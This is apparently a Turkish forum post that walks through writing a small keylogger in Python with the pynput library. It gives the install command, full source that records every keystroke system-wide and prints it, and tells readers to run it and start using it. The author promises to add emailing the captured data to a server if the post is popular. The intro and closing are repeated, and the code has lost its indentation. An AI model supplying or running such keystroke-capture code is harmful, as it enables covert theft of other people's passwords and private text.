Merhaba, bugün Python dili ile ufak bir keylogger aracının nasıl yazıldığını anlatacağım.
1- Kullanacağımız olan "pynput" kütüphanesi yükleyelim.
2- "keylogger.py" adlı bir dosya oluşturalım.
3- Kodlar burada
4- Programımızı konsola "python keylogger.py" yazarak başlatıp kullanmaya başlayın.
Not: Bu kod eğitim amaçlı yazılmış temel seviye de bir koddur, genelde konularım pek fazla görüntelip beğenilmiyor. Bu konu beğenilirse istek üzerine alınan verileri mail ile yollama sunucu kurma gibi şeyler de ekleriz.
Teşekkür ederim.
1- Kullanacağımız olan "pynput" kütüphanesi yükleyelim.
pip install pynput
2- "keylogger.py" adlı bir dosya oluşturalım.
3- Kodlar burada
# Kullanılacak olan kütüphane
from pynput import keyboard
text = "" # Klavyeden alınan metin
def inpt(key):
global text
# Enter tuşuna basıldığında yeni satır ekle
if key == keyboard.Key.enter:
text += "\n"
# Tab tuşuna basıldığında sekme karakteri ekle
elif key == keyboard.Key.tab:
text += "\t"
# Boşluk tuşuna basıldığında boşluk ekle
elif key == keyboard.Key.space:
text += " "
# Backspace tuşuna basıldığında ve metin boşsa işlem yapma
elif key == keyboard.Key.backspace and len(text) == 0:
pass
# Shift tuşuna basıldığında işlem yapma
elif key == keyboard.Key.shift:
pass
# Backspace tuşuna basıldığında ve metin doluysa son karakteri sil
elif key == keyboard.Key.backspace and len(text) > 0:
text = text[:-1]
# Ctrl tuşlarına basıldığında işlem yapma
elif key == keyboard.Key.ctrl_l or key == keyboard.Key.ctrl_r:
pass
# Esc tuşuna basıldığında işlem yapma
elif key == keyboard.Key.esc:
pass
# Yukarıdaki koşulların dışında ise basılan tuşu metine ekle
else:
text += str(key).strip("")
print(text)
with keyboard.Listener(on_press=inpt) as listener:
listener.join()
4- Programımızı konsola "python keylogger.py" yazarak başlatıp kullanmaya başlayın.
Not: Bu kod eğitim amaçlı yazılmış temel seviye de bir koddur, genelde konularım pek fazla görüntelip beğenilmiyor. Bu konu beğenilirse istek üzerine alınan verileri mail ile yollama sunucu kurma gibi şeyler de ekleriz.
Teşekkür ederim.